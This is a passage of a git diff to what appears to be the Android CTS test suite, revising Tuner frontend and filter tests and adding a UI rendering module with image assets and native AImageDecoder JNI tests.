+                case FrontendStatus.FRONTEND_STATUS_TYPE_ISDBT_SEGMENTS:
+                    status.getIsdbtSegment();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_TS_DATA_RATES:
+                    status.getTsDataRate();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_MODULATIONS_EXT:
+                    status.getExtendedModulations();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_ROLL_OFF:
+                    status.getRollOff();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_IS_MISO:
+                    status.isMisoEnabled();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_IS_LINEAR:
+                    status.isLinear();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_IS_SHORT_FRAMES:
+                    status.isShortFramesEnabled();
+                    break;
             }
         }
-        // Status supported from Android 12
-        status.getBandwidth();
-        status.getBers();
-        status.getCodeRates();
-        status.getGuardInterval();
-        status.getInterleaving();
-        status.getIsdbtSegment();
-        status.getExtendedModulations();
-        status.getSystemId();
-        status.getTransmissionMode();
-        status.getTsDataRate();
-        status.getUec();
-        status.getRollOff();
-        status.isMisoEnabled();
-        status.isLinear();
-        status.isShortFramesEnabled();
     }
 
     @Test
@@ -315,7 +355,7 @@
     @Ignore("b/174500129")
     // TODO: Enable Tuner CTS after Tuner Service b/159067322 feature complete
     public void testCiCam() throws Exception {
-// open filter to get demux resource
+    // open filter to get demux resource
         mTuner.openFilter(
                 Filter.TYPE_TS, Filter.SUBTYPE_SECTION, 1000, getExecutor(), getFilterCallback());
 
@@ -327,9 +367,20 @@
     @Ignore("b/174500129")
     // TODO: Enable Tuner CTS after Tuner Service b/159067322 feature complete
     public void testAvSyncId() throws Exception {
-// open filter to get demux resource
+    // open filter to get demux resource
         Filter f = mTuner.openFilter(
                 Filter.TYPE_TS, Filter.SUBTYPE_AUDIO, 1000, getExecutor(), getFilterCallback());
+        Settings settings = AvSettings
+                .builder(Filter.TYPE_TS, true)
+                .setPassthrough(false)
+                .setAudioStreamType(AvSettings.AUDIO_STREAM_TYPE_MPEG1)
+                .build();
+        FilterConfiguration config = TsFilterConfiguration
+                .builder()
+                .setTpid(10)
+                .setSettings(settings)
+                .build();
+        f.configure(config);
         int id = mTuner.getAvSyncHwId(f);
         if (id != Tuner.INVALID_AV_SYNC_ID) {
             assertNotEquals(Tuner.INVALID_TIMESTAMP, mTuner.getAvSyncTime(id));
@@ -366,11 +417,23 @@
         f.configure(config);
         f.configureMonitorEvent(
                 Filter.MONITOR_EVENT_SCRAMBLING_STATUS | Filter.MONITOR_EVENT_IP_CID_CHANGE);
+
+        // Tune a frontend before start the filter
+        List<Integer> ids = mTuner.getFrontendIds();
+        assertFalse(ids.isEmpty());
+
+        FrontendInfo info = mTuner.getFrontendInfoById(ids.get(0));
+        int res = mTuner.tune(createFrontendSettings(info));
+        assertEquals(Tuner.RESULT_SUCCESS, res);
+
         f.start();
         f.flush();
         f.read(new byte[3], 0, 3);
         f.stop();
         f.close();
+
+        res = mTuner.cancelTuning();
+        assertEquals(Tuner.RESULT_SUCCESS, res);
     }
 
     @Test
@@ -393,10 +456,22 @@
                 .setSettings(settings)
                 .build();
         f.configure(config);
+
+        // Tune a frontend before start the filter
+        List<Integer> ids = mTuner.getFrontendIds();
+        assertFalse(ids.isEmpty());
+
+        FrontendInfo info = mTuner.getFrontendInfoById(ids.get(0));
+        int res = mTuner.tune(createFrontendSettings(info));
+        assertEquals(Tuner.RESULT_SUCCESS, res);
+
         f.start();
         f.flush();
         f.stop();
         f.close();
+
+        res = mTuner.cancelTuning();
+        assertEquals(Tuner.RESULT_SUCCESS, res);
     }
 
     @Test
@@ -433,9 +508,21 @@
                 .setIpFilterContextId(1)
                 .build();
         f.configure(config);
+
+        // Tune a frontend before start the filter
+        List<Integer> ids = mTuner.getFrontendIds();
+        assertFalse(ids.isEmpty());
+
+        FrontendInfo info = mTuner.getFrontendInfoById(ids.get(0));
+        int res = mTuner.tune(createFrontendSettings(info));
+        assertEquals(Tuner.RESULT_SUCCESS, res);
+
         f.start();
         f.stop();
         f.close();
+
+        res = mTuner.cancelTuning();
+        assertEquals(Tuner.RESULT_SUCCESS, res);
     }
 
     @Test
@@ -544,7 +631,7 @@
         assertFalse(ids.isEmpty());
         FrontendInfo info = other.getFrontendInfoById(ids.get(0));
 
-	// call tune() to open frontend resource
+        // call tune() to open frontend resource
         int res = other.tune(createFrontendSettings(info));
         assertEquals(Tuner.RESULT_SUCCESS, res);
         assertNotNull(other.getFrontendInfo());
diff --git a/tests/tests/uirendering/Android.bp b/tests/tests/uirendering/Android.bp
index 8b0a7fb..f77d118 100644
--- a/tests/tests/uirendering/Android.bp
+++ b/tests/tests/uirendering/Android.bp
@@ -15,6 +15,7 @@
 android_test {
     name: "CtsUiRenderingTestCases",
     sdk_version: "test_current",
+    compile_multilib: "both",
 
     srcs: [
         "src/**/*.java",
@@ -28,8 +29,10 @@
         "mockito-target-minus-junit4",
         "androidx.test.rules",
         "kotlin-test",
-        "testng"
+        "testng",
+        "junit-params",
     ],
+    jni_libs: ["libctsuirendering_jni"],
 
     libs: ["android.test.runner"],
 
diff --git a/tests/tests/uirendering/assets/RestorePrevious.gif b/tests/tests/uirendering/assets/RestorePrevious.gif
new file mode 100644
index 0000000..5801e4f
--- /dev/null
+++ b/tests/tests/uirendering/assets/RestorePrevious.gif
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim.gif b/tests/tests/uirendering/assets/alphabetAnim.gif
new file mode 100644
index 0000000..d6b7d85
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim.gif
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_001.png b/tests/tests/uirendering/assets/alphabetAnim_001.png
new file mode 100644
index 0000000..19832ff
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_001.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_002.png b/tests/tests/uirendering/assets/alphabetAnim_002.png
new file mode 100644
index 0000000..3bd2c2b
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_002.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_003.png b/tests/tests/uirendering/assets/alphabetAnim_003.png
new file mode 100644
index 0000000..2fdd045
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_003.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_004.png b/tests/tests/uirendering/assets/alphabetAnim_004.png
new file mode 100644
index 0000000..f580283
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_004.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_005.png b/tests/tests/uirendering/assets/alphabetAnim_005.png
new file mode 100644
index 0000000..8ae5f9d
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_005.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_006.png b/tests/tests/uirendering/assets/alphabetAnim_006.png
new file mode 100644
index 0000000..43c742a
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_006.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_007.png b/tests/tests/uirendering/assets/alphabetAnim_007.png
new file mode 100644
index 0000000..526eb4a
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_007.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_008.png b/tests/tests/uirendering/assets/alphabetAnim_008.png
new file mode 100644
index 0000000..8638601
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_008.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_009.png b/tests/tests/uirendering/assets/alphabetAnim_009.png
new file mode 100644
index 0000000..04fe49a
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_009.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_010.png b/tests/tests/uirendering/assets/alphabetAnim_010.png
new file mode 100644
index 0000000..e606bdf
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_010.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_011.png b/tests/tests/uirendering/assets/alphabetAnim_011.png
new file mode 100644
index 0000000..208eac2
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_011.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_012.png b/tests/tests/uirendering/assets/alphabetAnim_012.png
new file mode 100644
index 0000000..034b3ec
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_012.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/animated.gif b/tests/tests/uirendering/assets/animated.gif
new file mode 100644
index 0000000..51baf15
--- /dev/null
+++ b/tests/tests/uirendering/assets/animated.gif
Binary files differ
diff --git a/tests/tests/uirendering/assets/animated_001.gif b/tests/tests/uirendering/assets/animated_001.gif
new file mode 100644
index 0000000..0aced89
--- /dev/null
+++ b/tests/tests/uirendering/assets/animated_001.gif
Binary files differ
diff --git a/tests/tests/uirendering/assets/animated_002.gif b/tests/tests/uirendering/assets/animated_002.gif
new file mode 100644
index 0000000..fb0e56e
--- /dev/null
+++ b/tests/tests/uirendering/assets/animated_002.gif
Binary files differ
diff --git a/tests/tests/uirendering/assets/animated_003.gif b/tests/tests/uirendering/assets/animated_003.gif
new file mode 100644
index 0000000..f35ea24
--- /dev/null
+++ b/tests/tests/uirendering/assets/animated_003.gif
Binary files differ
diff --git a/tests/tests/uirendering/assets/animated_webp.webp b/tests/tests/uirendering/assets/animated_webp.webp
new file mode 100644
index 0000000..2d28dbf
--- /dev/null
+++ b/tests/tests/uirendering/assets/animated_webp.webp
Binary files differ
diff --git a/tests/tests/uirendering/assets/blendBG.webp b/tests/tests/uirendering/assets/blendBG.webp
new file mode 100644
index 0000000..46e4ce2
--- /dev/null
+++ b/tests/tests/uirendering/assets/blendBG.webp
Binary files differ
diff --git a/tests/tests/uirendering/assets/blendBG_001.png b/tests/tests/uirendering/assets/blendBG_001.png
new file mode 100644
index 0000000..7f7a181
--- /dev/null
+++ b/tests/tests/uirendering/assets/blendBG_001.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/blendBG_002.png b/tests/tests/uirendering/assets/blendBG_002.png
new file mode 100644
index 0000000..59b039c
--- /dev/null
+++ b/tests/tests/uirendering/assets/blendBG_002.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/blendBG_003.png b/tests/tests/uirendering/assets/blendBG_003.png
new file mode 100644
index 0000000..76e1fe2
--- /dev/null
+++ b/tests/tests/uirendering/assets/blendBG_003.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/blendBG_004.png b/tests/tests/uirendering/assets/blendBG_004.png
new file mode 100644
index 0000000..59b039c
--- /dev/null
+++ b/tests/tests/uirendering/assets/blendBG_004.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/blendBG_005.png b/tests/tests/uirendering/assets/blendBG_005.png
new file mode 100644
index 0000000..c2dba9f
--- /dev/null
+++ b/tests/tests/uirendering/assets/blendBG_005.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/blendBG_006.png b/tests/tests/uirendering/assets/blendBG_006.png
new file mode 100644
index 0000000..f0a4393
--- /dev/null
+++ b/tests/tests/uirendering/assets/blendBG_006.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/required_001.png b/tests/tests/uirendering/assets/required_001.png
new file mode 100644
index 0000000..4387398
--- /dev/null
+++ b/tests/tests/uirendering/assets/required_001.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/required_002.png b/tests/tests/uirendering/assets/required_002.png
new file mode 100644
index 0000000..70efbf9
--- /dev/null
+++ b/tests/tests/uirendering/assets/required_002.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/required_003.png b/tests/tests/uirendering/assets/required_003.png
new file mode 100644
index 0000000..f42081e
--- /dev/null
+++ b/tests/tests/uirendering/assets/required_003.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/required_004.png b/tests/tests/uirendering/assets/required_004.png
new file mode 100644
index 0000000..0d3fd95
--- /dev/null
+++ b/tests/tests/uirendering/assets/required_004.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/required_005.png b/tests/tests/uirendering/assets/required_005.png
new file mode 100644
index 0000000..110035c
--- /dev/null
+++ b/tests/tests/uirendering/assets/required_005.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/required_006.png b/tests/tests/uirendering/assets/required_006.png
new file mode 100644
index 0000000..b7a7283
--- /dev/null
+++ b/tests/tests/uirendering/assets/required_006.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/required_gif.gif b/tests/tests/uirendering/assets/required_gif.gif
new file mode 100644
index 0000000..91a9fd1
--- /dev/null
+++ b/tests/tests/uirendering/assets/required_gif.gif
Binary files differ
diff --git a/tests/tests/uirendering/assets/required_webp.webp b/tests/tests/uirendering/assets/required_webp.webp
new file mode 100644
index 0000000..9f9a8f8
--- /dev/null
+++ b/tests/tests/uirendering/assets/required_webp.webp
Binary files differ
diff --git a/tests/tests/uirendering/assets/stoplight.webp b/tests/tests/uirendering/assets/stoplight.webp
new file mode 100644
index 0000000..8cc1199
--- /dev/null
+++ b/tests/tests/uirendering/assets/stoplight.webp
Binary files differ
diff --git a/tests/tests/uirendering/assets/stoplight_001.png b/tests/tests/uirendering/assets/stoplight_001.png
new file mode 100644
index 0000000..a1a0b29
--- /dev/null
+++ b/tests/tests/uirendering/assets/stoplight_001.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/stoplight_002.png b/tests/tests/uirendering/assets/stoplight_002.png
new file mode 100644
index 0000000..9ac6017
--- /dev/null
+++ b/tests/tests/uirendering/assets/stoplight_002.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/sunset1.jpg b/tests/tests/uirendering/assets/sunset1.jpg
new file mode 100644
index 0000000..3b30b36
--- /dev/null
+++ b/tests/tests/uirendering/assets/sunset1.jpg
Binary files differ
diff --git a/tests/tests/uirendering/jni/Android.bp b/tests/tests/uirendering/jni/Android.bp
new file mode 100644
index 0000000..0b76e7c
--- /dev/null
+++ b/tests/tests/uirendering/jni/Android.bp
@@ -0,0 +1,36 @@
+// Copyright 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test_library {
+    name: "libctsuirendering_jni",
+    gtest: false,
+    srcs: [
+        "CtsUiRenderingJniOnLoad.cpp",
+        "android_uirendering_cts_AImageDecoderTest.cpp",
+        "NativeTestHelpers.cpp",
+    ],
+    include_dirs: ["system/core/include"],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+    shared_libs: [
+        "libandroid",
+        "liblog",
+        "libjnigraphics",
+        "libnativehelper",
+    ],
+    stl: "c++_static",
+    sdk_version: "current",
+}
diff --git a/tests/tests/uirendering/jni/CtsUiRenderingJniOnLoad.cpp b/tests/tests/uirendering/jni/CtsUiRenderingJniOnLoad.cpp
new file mode 100644
index 0000000..c0e10aa
--- /dev/null
+++ b/tests/tests/uirendering/jni/CtsUiRenderingJniOnLoad.cpp
@@ -0,0 +1,28 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+
+extern int register_android_uirendering_cts_AImageDecoderTest(JNIEnv*);
+
+jint JNI_OnLoad(JavaVM* vm, void* /*reserved*/) {
+    JNIEnv* env = nullptr;
+    if (vm->GetEnv((void**)&env, JNI_VERSION_1_4) != JNI_OK)
+        return JNI_ERR;
+    if (register_android_uirendering_cts_AImageDecoderTest(env))
+        return JNI_ERR;
+    return JNI_VERSION_1_4;
+}
diff --git a/tests/tests/uirendering/jni/NativeTestHelpers.cpp b/tests/tests/uirendering/jni/NativeTestHelpers.cpp
new file mode 100644
index 0000000..b225ec9
--- /dev/null
+++ b/tests/tests/uirendering/jni/NativeTestHelpers.cpp
@@ -0,0 +1,43 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#include "NativeTestHelpers.h"
+
+#include <cstdlib>
+#include <cstring>
+#include "jni.h"
+
+// This file is copied over from CtsGraphicsTestCases, so that
+// CtsUiRenderingTestCases can have the same functionality.
+void fail(JNIEnv *env, const char *format, ...) {
+  va_list args;
+
+  va_start(args, format);
+  char *msg;
+  vasprintf(&msg, format, args);
+  va_end(args);
+
+  jclass exClass;
+
+  // CtsGraphicsTestsCases has an exception to access the private constructor
+  // for AssertionError. This utility class allows creating a java.lang.AssertionError
+  // with a single String argument so it can be created by ThrowNew.
+  const char *className = "android/uirendering/cts/util/AssertionError";
+  exClass = env->FindClass(className);
+  env->ThrowNew(exClass, msg);
+  free(msg);
+}
diff --git a/tests/tests/uirendering/jni/NativeTestHelpers.h b/tests/tests/uirendering/jni/NativeTestHelpers.h
new file mode 100644
index 0000000..5538ed5
--- /dev/null
+++ b/tests/tests/uirendering/jni/NativeTestHelpers.h
@@ -0,0 +1,53 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#ifndef ANDROID_NATIVETESTHELPERS_H
+#define ANDROID_NATIVETESTHELPERS_H
+
+#include <android/log.h>
+#include <jni.h>
+
+// This file is copied over from CtsGraphicsTestCases, so that
+// CtsUiRenderingTestCases can have the same functionality.
+#define ASSERT(condition, format, args...)                                     \
+  if (!(condition)) {                                                          \
+    fail(env, format, ##args);                                                 \
+    return;                                                                    \
+  }
+
+#define ASSERT_TRUE(a) ASSERT((a), "assert failed on (" #a ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_FALSE(a) ASSERT(!(a), "assert failed on (!" #a ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_EQ(a, b) \
+        ASSERT((a) == (b), "assert failed on (" #a " == " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_NE(a, b) \
+        ASSERT((a) != (b), "assert failed on (" #a " != " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_GT(a, b) \
+        ASSERT((a) > (b), "assert failed on (" #a " > " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_GE(a, b) \
+        ASSERT((a) >= (b), "assert failed on (" #a " >= " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_LT(a, b) \
+        ASSERT((a) < (b), "assert failed on (" #a " < " #b ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_LE(a, b) \
+        ASSERT((a) <= (b), "assert failed on (" #a " <= " #b ") at " __FILE__ ":%d", __LINE__)
+
+#define ALOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
+
+// Raises a java exception.
+void fail(JNIEnv *env, const char *format, ...);
+
+#endif  // ANDROID_NATIVETESTHELPERS_H
+
diff --git a/tests/tests/uirendering/jni/android_uirendering_cts_AImageDecoderTest.cpp b/tests/tests/uirendering/jni/android_uirendering_cts_AImageDecoderTest.cpp
new file mode 100644
index 0000000..4321327
--- /dev/null
+++ b/tests/tests/uirendering/jni/android_uirendering_cts_AImageDecoderTest.cpp
@@ -0,0 +1,320 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define LOG_TAG "AImageDecoderTest"
+
+#include <jni.h>
+#include <android/asset_manager.h>
+#include <android/asset_manager_jni.h>
+#include <android/bitmap.h>
+#include <android/imagedecoder.h>
+#include <android/rect.h>
+
+#include "NativeTestHelpers.h"
+
+#include <cstdlib>
+#include <cstring>
+#include <initializer_list>
+
+#define ALOGD(...) __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, __VA_ARGS__)
+
+static void testNullDecoder(JNIEnv* env, jobject) {
+#pragma clang diagnostic push
+#pragma clang diagnostic ignored "-Wnonnull"
+    ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, AImageDecoder_advanceFrame(nullptr));
+
+    ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, AImageDecoder_rewind(nullptr));
+
+    AImageDecoder_setInternallyHandleDisposePrevious(nullptr, true);
+    AImageDecoder_setInternallyHandleDisposePrevious(nullptr, false);
+#pragma clang diagnostic pop
+}
+
+static void testToString(JNIEnv* env, jobject) {
+    struct {
+        int resultCode;
+        const char* string;
+    } map[] = {
+        { ANDROID_IMAGE_DECODER_SUCCESS,            "ANDROID_IMAGE_DECODER_SUCCESS" },
+        { ANDROID_IMAGE_DECODER_INCOMPLETE,         "ANDROID_IMAGE_DECODER_INCOMPLETE" },
+        { ANDROID_IMAGE_DECODER_ERROR,              "ANDROID_IMAGE_DECODER_ERROR" },
+        { ANDROID_IMAGE_DECODER_INVALID_CONVERSION, "ANDROID_IMAGE_DECODER_INVALID_CONVERSION" },
+        { ANDROID_IMAGE_DECODER_INVALID_SCALE,      "ANDROID_IMAGE_DECODER_INVALID_SCALE" },
+        { ANDROID_IMAGE_DECODER_BAD_PARAMETER,      "ANDROID_IMAGE_DECODER_BAD_PARAMETER" },
+        { ANDROID_IMAGE_DECODER_INVALID_INPUT,      "ANDROID_IMAGE_DECODER_INVALID_INPUT" },
+        { ANDROID_IMAGE_DECODER_SEEK_ERROR,         "ANDROID_IMAGE_DECODER_SEEK_ERROR" },
+        { ANDROID_IMAGE_DECODER_INTERNAL_ERROR,     "ANDROID_IMAGE_DECODER_INTERNAL_ERROR" },
+        { ANDROID_IMAGE_DECODER_UNSUPPORTED_FORMAT, "ANDROID_IMAGE_DECODER_UNSUPPORTED_FORMAT" },
+        { ANDROID_IMAGE_DECODER_FINISHED,           "ANDROID_IMAGE_DECODER_FINISHED" },
+        { ANDROID_IMAGE_DECODER_INVALID_STATE,      "ANDROID_IMAGE_DECODER_INVALID_STATE" },
+    };
+
+    for (const auto& item : map) {
+        const char* str = AImageDecoder_resultToString(item.resultCode);
+        ASSERT_EQ(0, strcmp(item.string, str));
+    }
+
+    for (int i : { ANDROID_IMAGE_DECODER_SUCCESS + 1,
+                   ANDROID_IMAGE_DECODER_INVALID_STATE - 1,
+                   2, 7, 37, 42 }) {
+        ASSERT_EQ(nullptr, AImageDecoder_resultToString(i));
+    }
+}
+
+static jlong openAsset(JNIEnv* env, jobject, jobject jAssets, jstring jFile) {
+    AAssetManager* nativeManager = AAssetManager_fromJava(env, jAssets);
+    const char* file = env->GetStringUTFChars(jFile, nullptr);
+    AAsset* asset = AAssetManager_open(nativeManager, file, AASSET_MODE_UNKNOWN);
+    if (!asset) {
+        fail(env, "Could not open %s", file);
+    } else {
+        ALOGD("Testing %s", file);
+    }
+    env->ReleaseStringUTFChars(jFile, file);
+    return reinterpret_cast<jlong>(asset);
+}
+
+static void closeAsset(JNIEnv*, jobject, jlong asset) {
+    AAsset_close(reinterpret_cast<AAsset*>(asset));
+}
+
+static jlong createFromAsset(JNIEnv* env, jobject, jlong asset) {
+    AImageDecoder* decoder = nullptr;
+    int result = AImageDecoder_createFromAAsset(reinterpret_cast<AAsset*>(asset), &decoder);
+    if (ANDROID_IMAGE_DECODER_SUCCESS != result || !decoder) {
+        fail(env, "Failed to create AImageDecoder with %s!",
+             AImageDecoder_resultToString(result));
+    }
+    return reinterpret_cast<jlong>(decoder);
+}
+
+static jint getWidth(JNIEnv*, jobject, jlong decoder) {
+    const auto* info = AImageDecoder_getHeaderInfo(reinterpret_cast<AImageDecoder*>(decoder));
+    return AImageDecoderHeaderInfo_getWidth(info);
+}
+
+static jint getHeight(JNIEnv*, jobject, jlong decoder) {
+    const auto* info = AImageDecoder_getHeaderInfo(reinterpret_cast<AImageDecoder*>(decoder));
+    return AImageDecoderHeaderInfo_getHeight(info);
+}
+
+static void deleteDecoder(JNIEnv*, jobject, jlong decoder) {
+    AImageDecoder_delete(reinterpret_cast<AImageDecoder*>(decoder));
+}
+
+static jint setTargetSize(JNIEnv*, jobject, jlong decoder_ptr, jint width, jint height) {
+    return AImageDecoder_setTargetSize(reinterpret_cast<AImageDecoder*>(decoder_ptr),
+                                       width, height);
+}
+
+static jint setCrop(JNIEnv*, jobject, jlong decoder_ptr, jint left, jint top,
+                    jint right, jint bottom) {
+    return AImageDecoder_setCrop(reinterpret_cast<AImageDecoder*>(decoder_ptr),
+                                 {left, top, right, bottom});
+}
+
+static void decode(JNIEnv* env, jobject, jlong decoder_ptr, jobject jBitmap, jint expected) {
+    auto* decoder = reinterpret_cast<AImageDecoder*>(decoder_ptr);
+    AndroidBitmapInfo info;
+    if (AndroidBitmap_getInfo(env, jBitmap, &info) != ANDROID_BITMAP_RESULT_SUCCESS) {
+        fail(env, "Failed to getInfo on a Bitmap!");
+        return;
+    }
+
+    void* pixels;
+    if (AndroidBitmap_lockPixels(env, jBitmap, &pixels) != ANDROID_BITMAP_RESULT_SUCCESS) {
+        fail(env, "Failed to lock pixels!");
+        return;
+    }
+
+    const int result = AImageDecoder_decodeImage(decoder, pixels, info.stride,
+                                                 info.stride * info.height);
+    if (result != expected) {
+        fail(env, "Unexpected result from AImageDecoder_decodeImage: %s",
+             AImageDecoder_resultToString(result));
+        // Don't return yet, so we can unlockPixels.
+    }
+
+    if (AndroidBitmap_unlockPixels(env, jBitmap) != ANDROID_BITMAP_RESULT_SUCCESS) {
+        const char* msg = "Failed to unlock pixels!";
+        if (env->ExceptionCheck()) {
+            // Do not attempt to throw an Exception while one is pending.
+            ALOGE("%s", msg);
+        } else {
+            fail(env, msg);
+        }
+    }
+}
+
+static jint advanceFrame(JNIEnv*, jobject, jlong decoder_ptr) {
+    auto* decoder = reinterpret_cast<AImageDecoder*>(decoder_ptr);
+    return AImageDecoder_advanceFrame(decoder);
+}
+
+static jint rewind_decoder(JNIEnv*, jobject, jlong decoder) {
+    return AImageDecoder_rewind(reinterpret_cast<AImageDecoder*>(decoder));
+}
+
+static jint setUnpremultipliedRequired(JNIEnv*, jobject, jlong decoder, jboolean required) {
+    return AImageDecoder_setUnpremultipliedRequired(reinterpret_cast<AImageDecoder*>(decoder),
+                                                    required);
+}
+
+static jint setAndroidBitmapFormat(JNIEnv*, jobject, jlong decoder, jint format) {
+    return AImageDecoder_setAndroidBitmapFormat(reinterpret_cast<AImageDecoder*>(decoder),
+                                                format);
+}
+
+static jint setDataSpace(JNIEnv*, jobject, jlong decoder, jint dataSpace) {
+    return AImageDecoder_setDataSpace(reinterpret_cast<AImageDecoder*>(decoder),
+                                      dataSpace);
+}
+
+static jlong createFrameInfo(JNIEnv*, jobject) {
+    return reinterpret_cast<jlong>(AImageDecoderFrameInfo_create());
+}
+
+static void deleteFrameInfo(JNIEnv*, jobject, jlong frameInfo) {
+    AImageDecoderFrameInfo_delete(reinterpret_cast<AImageDecoderFrameInfo*>(frameInfo));
+}
+
+static jint getFrameInfo(JNIEnv*, jobject, jlong decoder, jlong frameInfo) {
+    return AImageDecoder_getFrameInfo(reinterpret_cast<AImageDecoder*>(decoder),
+                                      reinterpret_cast<AImageDecoderFrameInfo*>(frameInfo));
+}
+
+static void testNullFrameInfo(JNIEnv* env, jobject, jobject jAssets, jstring jFile) {
+    AImageDecoderFrameInfo_delete(nullptr);
+
+#pragma clang diagnostic push
+#pragma clang diagnostic ignored "-Wnonnull"
+    {
+        auto* frameInfo = AImageDecoderFrameInfo_create();
+        ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, AImageDecoder_getFrameInfo(nullptr,
+                                                                                  frameInfo));
+        AImageDecoderFrameInfo_delete(frameInfo);
+    }
+    {
+        auto asset = openAsset(env, nullptr, jAssets, jFile);
+        auto decoder = createFromAsset(env, nullptr, asset);
+        AImageDecoderFrameInfo* info = nullptr;
+        ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, getFrameInfo(env, nullptr, decoder,
+                reinterpret_cast<jlong>(info)));
+
